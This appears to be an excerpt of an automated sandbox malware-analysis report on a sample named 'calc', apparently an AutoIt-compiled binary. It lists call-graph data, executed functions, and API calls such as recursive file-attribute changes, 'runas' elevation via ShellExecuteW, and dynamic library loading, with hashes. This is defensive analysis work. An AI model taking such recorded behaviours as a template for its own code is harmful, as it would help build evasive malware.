__umatherr 50722->50742 50725 44f8cd 50743 44d91e 34 API calls __umatherr 50725->50743 50726 44f8c0 50744 44f8f0 RtlLeaveCriticalSection _write_multi_char 50726->50744 50728 44f8e8 __lock 50728->50704 50730->50703 50747 45089f 50731->50747 50733 44f800 50734 44f816 SetFilePointer 50733->50734 50735 44f806 50733->50735 50736 44f837 50734->50736 50737 44f82f GetLastError 50734->50737 50754 44d915 34 API calls __umatherr 50735->50754 50741 44f843 50736->50741 50755 44d927 34 API calls __umatherr 50736->50755 50737->50736 50739 44f80b 50739->50726 50741->50726 50742->50725 50743->50726 50744->50728 50745->50717 50746->50728 50748 4508ab 50747->50748 50749 44d915 __umatherr 34 API calls 50748->50749 50750 4508c6 50748->50750 50751 4508ce 50749->50751 50750->50733 50752 44d91e _write_multi_char 34 API calls 50751->50752 50753 4508d9 50752->50753 50753->50733 50754->50739 50755->50741 50761 443300 50756->50761 50757 44a98f 44 API calls 50757->50761 50758 442e08 GetSystemTimeAsFileTime 50758->50761 50759 4431c5 50759->50423 50759->50449 50760 44a64b 45 API calls 50760->50761 50761->50757 50761->50758 50761->50759 50761->50760 50763 442e29 50762->50763 50765 442e49 50763->50765 50797 442bd5 GetSystemTimeAsFileTime 50763->50797 50765->50440 50767 441b6d 50766->50767 50768 441b7b 50766->50768 50769 44bc99 63 API calls 50767->50769 50770 441bc0 50768->50770 50771 44bc99 63 API calls 50768->50771 50796 441b84 50768->50796 50769->50768 50798 441c83 44 API calls 50770->50798 50773 441ba1 50771->50773 50773->50770 50777 441baa 50773->50777 50774 441c02 50775 441c06 50774->50775 50776 441c27 50774->50776 50778 441c13 50775->50778 50781 44a855 46 API calls 50775->50781 50799 441cfe 34 API calls __getbuf 50776->50799 50779 44a855 46 API calls 50777->50779 50777->50796 50783 44a855 46 API calls 50778->50783 50778->50796 50779->50796 50781->50778 50782 441c2d 50784 441c53 50782->50784 50785 441c33 50782->50785 50783->50796 50800 441f08 49 API calls 50784->50800 50786 441c40 50785->50786 50788 44a855 46 API calls 50785->50788 50790 44a855 46 API calls 50786->50790 50786->50796 50788->50786 50789 441c5a 50801 441d54 50789->50801 50790->50796 50793 441c6e 50795 44a855 46 API calls 50793->50795 50793->50796 50794 44a855 46 API calls 50794->50793 50795->50796 50796->50452 50797->50763 50798->50774 50799->50782 50800->50789 50802 441d61 50801->50802 50804 441d67 50801->50804 50803 449c88 ___free_lc_time 34 API calls 50802->50803 50803->50804 50805 449c88 ___free_lc_time 34 API calls 50804->50805 50806 441d78 50804->50806 50805->50806 50807 441c61 50806->50807 50808 449c88 ___free_lc_time 34 API calls 50806->50808 50807->50793 50807->50794 50808->50807 50810 44a818 50809->50810 50818 44a835 50809->50818 50820 44b36d 50810->50820 50816 44a82e 50817 449c88 ___free_lc_time 34 API calls 50816->50817 50816->50818 50817->50818 50819 44a89e RtlLeaveCriticalSection RtlLeaveCriticalSection 50818->50819 50819->50456 50821 44b382 50820->50821 50823 44a81e 50820->50823 50821->50823 50844 44fcac 41 API calls 3 library calls 50821->50844 50824 44fe75 50823->50824 50825 44fe81 50824->50825 50827 44a826 50824->50827 50826 449c88 ___free_lc_time 34 API calls 50825->50826 50825->50827 50826->50827 50828 44fdda 50827->50828 50829 44fde6 __lock 50828->50829 50830 44fe59 50829->50830 50832 44fe11 50829->50832 50862 44d915 34 API calls __umatherr 50830->50862 50834 4508e0 _write_multi_char 35 API calls 50832->50834 50833 44fe5e 50863 44d91e 34 API calls __umatherr 50833->50863 50836 44fe17 50834->50836 50837 44fe25 50836->50837 50838 44fe31 50836->50838 50845 44fd57 50837->50845 50860 44d915 34 API calls __umatherr 50838->50860 50841 44fe49 __lock 50841->50816 50842 44fe2b 50861 44fe51 RtlLeaveCriticalSection _write_multi_char 50842->50861 50844->50823 50846 45089f _write_multi_char 34 API calls 50845->50846 50847 44fd63 50846->50847 50848 44fda5 50847->50848 50849 45089f _write_multi_char 34 API calls 50847->50849 50857 44fd83 50847->50857 50864 450820 35 API calls 2 library calls 50848->50864 50851 44fd7a 50849->50851 50854 45089f _write_multi_char 34 API calls 50851->50854 50852 45089f _write_multi_char 34 API calls 50855 44fd8f CloseHandle 50852->50855 50853 44fdad 50856 44fdcf 50853->50856 50865 44d927 34 API calls __umatherr 50853->50865 50854->50857 50855->50848 50858 44fd9b GetLastError 50855->50858 50856->50842 50857->50848 50857->50852 50858->50848 50860->50842 50861->50841 50862->50833 50863->50841 50864->50853 50865->50856 50866->50269 50867->50268 50868->50272 50870 4161a1 LoadImageW 50869->50870 50871 41616d EnumResourceNamesW 50869->50871 50872 4012e6 50870->50872 50871->50870 50871->50872 50872->50292 50874 40428a LoadIconW 50873->50874 50876 401243 50874->50876 50876->50297 50878 44aecd __lock 50877->50878 50879 44c6db __lock 32 API calls 50878->50879 50880 44aed4 50879->50880 50881 44aee5 GetCurrentProcess TerminateProcess 50880->50881 50882 44aef5 __startOneArgErrorHandling 50880->50882 50881->50882 50887 44af70 RtlLeaveCriticalSection ___free_lc_time 50882->50887 50884 44af58 50885 44af6b __lock 50884->50885 50888 44adfd 50884->50888 50885->50055 50887->50884 50889 44ae08 50888->50889 50890 44ae22 ExitProcess 50889->50890 50891 44ae0c GetProcAddress 50889->50891 50891->50890 50892 44ae1c 50891->50892 50892->50890

      Executed Functions

      Function 00425639 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 117fileCOMMON
      Download Yara Rule

      Control-flow Graph

      • Executed
      • Not Executed
      control_flow_graph 352 425639-425661 FindFirstFileW 353 425663-425665 352->353 354 42566a 352->354 355 425787-42578a 353->355 356 42566b-425686 call 44925f 354->356 359 4256c8-4256d8 FindNextFileW 356->359 360 425688-42569d call 44925f 356->360 359->356 362 4256da-4256e1 FindClose 359->362 360->359 369 42569f-4256c6 GetFileAttributesW SetFileAttributesW 360->369 364 4256e3-4256e5 362->364 365 4256f1-425705 FindFirstFileW 362->365 366 425786 364->366 367 425707 365->367 368 42577d 365->368 366->355 371 42570d-425714 367->371 370 42577f-425784 FindClose 368->370 369->359 372 4256ea-4256ec 369->372 370->366 373 425716-42572b call 44925f 371->373 374 425769-42577b FindNextFileW 371->374 372->370 373->374 377 42572d-425743 call 44925f 373->377 374->368 374->371 377->374 380 425745-425764 SetCurrentDirectoryW call 425639 377->380 380->372 383 425766-425767 SetCurrentDirectoryW 380->383 383->374
      APIs
      • FindFirstFileW.KERNELBASE(00000000,?,?,00000000), ref: 00425657
      • GetFileAttributesW.KERNELBASE(?,76228FB0), ref: 004256A6
      • SetFileAttributesW.KERNELBASE(?,00000000), ref: 004256BE
      • FindNextFileW.KERNELBASE(00000000,?,76228FB0), ref: 004256D0
      • FindClose.KERNEL32(00000000), ref: 004256DB
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: File$Find$Attributes$CloseFirstNext
      • String ID: *.*
      • API String ID: 3380241538-438819550
      • Opcode ID: 1236b3d9e8567393027ac3975af6954621a9665af5743f4ca753b3688c86b07b
      • Instruction ID: 4e70fa6d35b8864b9043a15bda1432a6da936626901fdaf7e3990b9e5699e330
      • Opcode Fuzzy Hash: 1236b3d9e8567393027ac3975af6954621a9665af5743f4ca753b3688c86b07b
      • Instruction Fuzzy Hash: E7319471601629FADF209FA0EC49EDF77ACAF44311F5004A7E804A2191EA79DE449B18
      Function 0040165B Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 131nativewindowCOMMON
      Download Yara Rule

      Control-flow Graph

      • Executed
      • Not Executed
      control_flow_graph 432 40165b-40166c 433 401676-401679 432->433 434 40166e-401670 432->434 436 401782-401789 433->436 437 40167f 433->437 434->433 435 40180f-401819 NtdllDefWindowProc_W 434->435 438 40181f-401822 435->438 441 4017fb-40180d call 4126bc 436->441 442 40178b-40178d 436->442 439 401685-401688 437->439 440 40174c-40177d call 42a895 call 42026c 437->440 445 401711-401736 SetTimer RegisterClipboardFormatW 439->445 446 40168e-40168f 439->446 440->435 441->435 451 4017cf-4017d1 441->451 447 4017eb-4017f9 call 4125ea 442->447 448 40178f-401794 442->448 450 40173c-401747 CreatePopupMenu 445->450 445->451 453 401691-401694 446->453 454 4016f2-40170c KillTimer call 412dd7 PostQuitMessage 446->454 447->451 456 4017d3-4017d9 448->456 457 401796-40179b 448->457 450->451 451->438 463 4016d1-4016ed MoveWindow 453->463 464 401696-401698 453->464 454->451 456->435 465 4017db-4017e9 call 401825 456->465 459 4017c1-4017ca call 412e32 457->459 460 40179d-4017a3 457->460 459->451 460->435 466 4017a5-4017ac 460->466 463->451 470 4016c0-4016cc SetFocus 464->470 471 40169a-40169d 464->471 465->435 466->435 473 4017ae-4017bf call 412dd7 call 4128c6 466->473 470->451 471->460 474 4016a3-4016bb call 42a895 471->474 473->435 474->451
      APIs
      • SetFocus.USER32 ref: 004016C6
      • NtdllDefWindowProc_W.NTDLL(?,?,?,?,?), ref: 00401819
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: FocusNtdllProc_Window
      • String ID: TaskbarCreated
      • API String ID: 3543279991-2362178303
      • Opcode ID: c7910e21aebc1e6a89a499fde730aec7c7ffe658abb426c78a0addb64026b91b
      • Instruction ID: f800d809c8c6698ce890321309edba9d95731fd3cb02d329e72dbe3815dc5fcc
      • Opcode Fuzzy Hash: c7910e21aebc1e6a89a499fde730aec7c7ffe658abb426c78a0addb64026b91b
      • Instruction Fuzzy Hash: D141FCB2514249EFDB26BF68DC449AA3A96B740305F18843BF505E32F1D67DCC64872E
      Function 00439814 Relevance: 60.4, APIs: 11, Strings: 23, Instructions: 893libraryloaderCOMMON
      Download Yara Rule
      APIs
      • CharLowerBuffW.USER32(?,?), ref: 00439B3E
      • LoadLibraryW.KERNELBASE(00000000), ref: 00439D9D
      • GetProcAddress.KERNEL32(?,00000000), ref: 00439E47
      • GetProcAddress.KERNEL32(?,00000000), ref: 00439E72
      • GetProcAddress.KERNEL32(?,00000000), ref: 00439EB3
      • FreeLibrary.KERNEL32(?), ref: 00439ECB
      • _strcat.LIBCMT ref: 00439F85
      • GetCurrentProcess.KERNEL32(00000000,00000067,000000FF), ref: 0043A15D
      • TerminateProcess.KERNEL32(00000000), ref: 0043A164
      • FreeLibrary.KERNELBASE(?), ref: 0043A2A5
        • Part of subcall function 0041684E: _strlen.LIBCMT ref: 0041685F
        • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416879
        • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416898
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: AddressCharLibraryProc$ByteFreeMultiProcessWide$BuffCurrentLoadLowerTerminate_strcat_strlen
      • String ID: cdecl$dword$hwnd$idispatch$idispatch_ptr$int$int_ptr$long$long_ptr$none$ptr$short$short_ptr$stdcall$str$string$udword$uint$ushort$winapi$wstr$wstring$#v
      • API String ID: 1015931265-1657871269
      • Opcode ID: b7f5250f3d76f2b796286c4aebe95d02976f0a3ff1a8833c05814b8d644c070d
      • Instruction ID: 62d45698e8f6199696b40485e1186079554493d45d8b932d3fe4b0ade1180d93
      • Opcode Fuzzy Hash: b7f5250f3d76f2b796286c4aebe95d02976f0a3ff1a8833c05814b8d644c070d
      • Instruction Fuzzy Hash: 2562B431D00618AFDF11DFA5C8416DEB7B1AF09314F1441ABE905BB2A1CBB99E85CF89
      Function 0040109D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 134COMMON
      Download Yara Rule

      Control-flow Graph

      APIs
      • GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 004010BF
        • Part of subcall function 004013E2: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00401412
        • Part of subcall function 004013E2: GetModuleFileNameW.KERNEL32(00000000,?,00000104,CmdLine), ref: 0040151F
      • SetCurrentDirectoryW.KERNEL32(?,?,?), ref: 0040116B
      • GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,?), ref: 004011B2
      • GetForegroundWindow.USER32(runas,?,?,?,00000001,0045C5B4,?,0045C5B4), ref: 004011FC
      • ShellExecuteW.SHELL32(00000000), ref: 00401203
      • SetCurrentDirectoryW.KERNEL32(?,00000001,?,?), ref: 00401272
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: CurrentDirectoryFileModuleName$ExecuteForegroundShellWindow
      • String ID: runas
      • API String ID: 1789910257-4000483414
      • Opcode ID: fca41f01e45967370695c3549b6e1bc3f8c9ac1c7ce2e165cd1ff878592f802b
      • Instruction ID: 93bf78c1261f2050e188375e0006e403e34581d150756637ae35598e928dc03f
      • Opcode Fuzzy Hash: fca41f01e45967370695c3549b6e1bc3f8c9ac1c7ce2e165cd1ff878592f802b
      • Instruction Fuzzy Hash: 5F41C571904258AEDF10ABA09C85BEE3B689B09315F0041BBF945B61E3C77CDD898B69
      Function 0040127D Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 76windowregistryCOMMON
      Download Yara Rule

      Control-flow Graph

      APIs
      • GetSysColorBrush.USER32(0000000F), ref: 00401287
      • LoadCursorW.USER32(00000000,00007F00), ref: 00401297
      • LoadIconW.USER32(000000A1), ref: 004012B2
      • LoadIconW.USER32(000000A4), ref: 004012C1
      • LoadImageW.USER32(000000A1,00000001,00000010,00000010,00000000), ref: 004012F9
      • RegisterClassExW.USER32(?), ref: 0040134D
        • Part of subcall function 00416168: EnumResourceNamesW.KERNELBASE(00000000,0000000E,0041605B,000000A1,004012E6,000000A1,?,?,?,?,?,?,?,00401243,?,?), ref: 00416192
        • Part of subcall function 00416168: LoadImageW.USER32(000000A1,00000001,00000010,00000010,00000000,004012E6), ref: 004161B3
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: Load$IconImage$BrushClassColorCursorEnumNamesRegisterResource
      • String ID: #$0$AutoIt v3
      • API String ID: 3434626496-4155596026
      • Opcode ID: 372e31f16fea0fb377c9d9b2b166fb2a5c841b5732346904167e8dc8eb2c6d20
      • Instruction ID: 687afa9ac2c609e1a5e33ec6c472dbacfde120021dee70f4c48a98386cd57c87
      • Opcode Fuzzy Hash: 372e31f16fea0fb377c9d9b2b166fb2a5c841b5732346904167e8dc8eb2c6d20
      • Instruction Fuzzy Hash: 05314975D00318AFCB11DFA5EC88B9E7FB4EB48318F10447AE508AB3A1E3B45980CB59
      Function 00431B0A Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 256COMMON
      Download Yara Rule

      Control-flow Graph

      • Executed
      • Not Executed
      control_flow_graph 491 431b0a-431b3c 492 431b42-431b45 491->492 493 431db4-431dbb 491->493 492->493 494 431b4b-431b4e 492->494 495 431dbd-431dc2 call 4309c0 493->495 494->493 496 431b54-431b5d call 4199de 494->496 499 431dc7-431dcb 495->499 501 431b5f-431b68 496->501 502 431b6d-431b74 496->502 501->495 503 431b76-431b7f 502->503 504 431b84-431b8f call 4493b8 502->504 503->495 507 431bd2 504->507 508 431b91-431bb3 call 416034 504->508 509 431bd5-431bed call 449170 507->509 514 431bb7-431bbc 508->514 515 431bef-431bf3 509->515 516 431c3c-431c4e 509->516 514->509 517 431bbe-431bcd call 449078 514->517 520 431bf6-431c0e call 4216bb call 4301fc 515->520 518 431c50-431c5a 516->518 519 431c5d-431c9a VariantInit call 449660 516->519 517->495 518->519 528 431c9e-431ca3 519->528 530 431c10-431c1a 520->530 531 431c1e-431c36 call 4309c0 520->531 532 431ca5-431caa 528->532 533 431cda-431cde 528->533 530->520 536 431c1c 530->536 531->516 545 431d76-431d78 531->545 538 431cfd-431d04 532->538 539 431cac-431cd6 532->539 534 431ce0-431ce7 533->534 535 431d06-431d15 call 418b39 533->535 534->538 540 431ce9-431ced 534->540 548 431d17-431d1a 535->548 549 431d69-431d73 VariantClear 535->549 536->516 542 431cf0-431cfb call 4309c0 538->542 539->533 540->542 542->549 550 431d97-431da4 call 449078 545->550 551 431d7a-431d7d 545->551 553 431d1e-431d32 call 4216bb 548->553 549->545 559 431da6-431dae call 449078 550->559 560 431daf-431db2 550->560 554 431d83-431d87 551->554 563 431d53-431d54 call 4216bb 553->563 564 431d34-431d40 call 4216bb call 4186c7 553->564 555 431d89-431d8c VariantClear 554->555 556 431d8e-431d95 VariantClear 554->556 555->556 556->550 556->554 559->560 560->499 568 431d59-431d5b call 418b39 563->568 573 431d60-431d67 564->573 574 431d42-431d51 call 4216bb call 4186c7 564->574 568->573 573->549 573->553 574->568
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID:
      • String ID: Conversion of parameters failed$NULL Pointer assignment$Not an Object type$VENTOBJ
      • API String ID: 0-2292573353
      • Opcode ID: 4755cb53e4409388185389105b0b2e7a1e198d802851bdd96be41fb2e530ff23
      • Instruction ID: 2bcbba87d7390d1434edf13330aba9ece891a3e4bcb3d2eb952acb4fb6b50e10
      • Opcode Fuzzy Hash: 4755cb53e4409388185389105b0b2e7a1e198d802851bdd96be41fb2e530ff23
      • Instruction Fuzzy Hash: 10919E71A00309ABDF14DFA5CD85EEEB7B9AF08700F10511BF911A72A1D778AE40CB99
      Function 004253C3 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 213COMMON
      Download Yara Rule

      Control-flow Graph

      • Executed
      • Not Executed
      control_flow_graph 579 4253c3-4253e3 580 4253e5-4253e8 579->580 581 4253ea-4253ed 579->581 582 4253f0-425400 call 4184a9 580->582 581->582 585 425402-425405 582->585 586 42541e 582->586 588 425407-42540a 585->588 589 42540c-42540f 585->589 587 425422-425427 586->587 590 4254db-4254de 587->590 591 42542d 587->591 592 425412-42541c call 41858e 588->592 589->592 593 4254e0-4254e3 590->593 594 4254eb-4254ee 590->594 595 42542f-425436 591->595 592->586 592->587 597 4254f0-425590 call 4184a9 call 4497d7 call 414bbc call 414e6e call 449da6 call 44912a * 2 GetCurrentDirectoryW SetCurrentDirectoryW 593->597 594->597 598 425438-42543b 595->598 599 42543d-425441 595->599 643 425592-4255a1 call 414e55 597->643 644 4255d5 597->644 601 425446-425447 598->601 602 425443 599->602 603 425448-42544f 599->603 601->603 602->601 606 4254c1 603->606 607 425451-425455 603->607 610 4254c3-4254c6 606->610 607->606 609 425457-42545b 607->609 612 4254bc 609->612 613 42545d-425461 609->613 614 4254c8-4254cb 610->614 615 4254cd 610->615 618 4254be-4254bf 612->618 613->612 619 425463-425467 613->619 616 4254d0-4254d5 614->616 615->616 616->590 616->595 618->610 621 4254b8-4254ba 619->621 622 425469-42546d 619->622 621->618 622->621 624 42546f-425473 622->624 626 4254b4-4254b6 624->626 627 425475-425479 624->627 626->618 627->626 629 42547b-42547f 627->629 630 425481-425485 629->630 631 4254ad-4254b2 629->631 630->631 634 425487-42548b 630->634 631->610 636 4254a6-4254ab 634->636 637 42548d-425491 634->637 636->610 637->636 639 425493-425497 637->639 641 425499-42549d 639->641 642 42549f-4254a4 639->642 641->642 645 4254e5-4254e6 641->645 642->610 650 425602-425615 call 425639 643->650 651 4255a3-4255ca GetFileAttributesW SetFileAttributesW 643->651 646 4255d6-4255de call 418a14 644->646 645->646 656 425630-425636 646->656 657 42561a-42561c 650->657 654 4255e0-4255e4 651->654 655 4255cc-4255d3 SetCurrentDirectoryW 651->655 658 4255e6-425601 SetCurrentDirectoryW call 449154 654->658 659 425627-42562e SetCurrentDirectoryW 654->659 655->644 657->659 660 42561e-425622 call 418a14 657->660 658->650 659->656 660->659
      APIs
      • GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 00425579
      • SetCurrentDirectoryW.KERNELBASE(?), ref: 0042558C
      • GetFileAttributesW.KERNEL32(?), ref: 004255AA
      • SetFileAttributesW.KERNEL32(?,00000000), ref: 004255C2
      • SetCurrentDirectoryW.KERNEL32(?), ref: 004255D3
      • SetCurrentDirectoryW.KERNEL32(?), ref: 004255ED
      • SetCurrentDirectoryW.KERNEL32(?,?,00000000,00000000,00000000), ref: 0042562E
        • Part of subcall function 00414E55: GetFileAttributesW.KERNELBASE(?,00414BDE,?), ref: 00414E59
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: CurrentDirectory$AttributesFile
      • String ID: *.*
      • API String ID: 769691225-438819550
      • Opcode ID: 4060c85384e43a68a18dcb34ae9707316a9a80c1a26ced448f1b3118e47c3abc
      • Instruction ID: cec699d4ab6f872af63f9f09c0b7b1415ff4196bd1174d8bb20d814695fc6a34
      • Opcode Fuzzy Hash: 4060c85384e43a68a18dcb34ae9707316a9a80c1a26ced448f1b3118e47c3abc
      • Instruction Fuzzy Hash: C171C975A00529AADB20FA54EC44BDAF378EB04316FD480ABE549D3140DB3C9EC68F59
      Function 00404205 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 49registrywindowclipboardCOMMON
      Download Yara Rule

      Control-flow Graph

      APIs
      • GetSysColorBrush.USER32(0000000F), ref: 00404213
      • RegisterClassExW.USER32(?), ref: 0040425E
      • RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 00404269
      • LoadIconW.USER32(00400000,000000A9), ref: 004042A8
      Strings
      Memory Dump Source
      • Source File: 00000007.00000002.2179823132.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000007.00000002.2179755819.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2179823132.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180325708.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000007.00000002.2180384224.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_7_2_400000_calc.jbxd
      Similarity
      • API ID: Register$BrushClassClipboardColorFormatIconLoad
      • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
      • API String ID: 975902462-1005189915
      • Opcode ID: fae248194e1b08d180a7888b94dd6c1f5fcc801a55d459cf83fb6d57dbcbcab5
      • Instruction ID: f45efb3e6643885d8ae29e22a69861e66850a50a293dcdb7155dbe3626e9ac17
